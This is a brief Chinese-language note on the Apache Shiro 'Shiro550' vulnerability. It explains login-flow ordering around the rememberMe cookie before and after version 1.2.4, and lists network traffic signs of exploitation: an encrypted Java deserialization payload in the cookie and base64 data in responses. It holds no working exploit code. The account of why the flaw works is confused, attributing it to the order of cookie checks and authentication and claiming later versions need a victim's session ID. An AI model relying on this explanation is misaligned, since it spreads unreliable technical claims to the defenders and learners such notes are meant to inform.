  1. Shiro框架1.2.4版本之前的登录时默认是先验证rememberMe Cookie的值,而不是先进行身份验证,这也是Shiro550漏洞能够利用的原因之一,攻击者可以利用该漏洞通过伪造rememberMe Cookie的值来绕过Shiro框架的身份认证机制,从而实现未授权访问
  2. Shiro框架1.2.4版本之后的登录时先进行身份验证,而不是先验证rememberMe Cookie的值,所以攻击者需要知道受害者已经通过登录验证,并且Shiro框架已经为受害者创建了一个有效的会话,以便攻击者可以利用该会话ID进行身份伪造并绕过Shiro框架的权限控制机制
  3. 同时,Shiro框架的登录流程也是可以自定义的。

流量特征

  1. 请求包CookierememberMe中会存在AES+base64加密的一串java反序列化代码。
  2. 返回包中存在base64加密数据,该数据可作为攻击成功的判定条件。

reference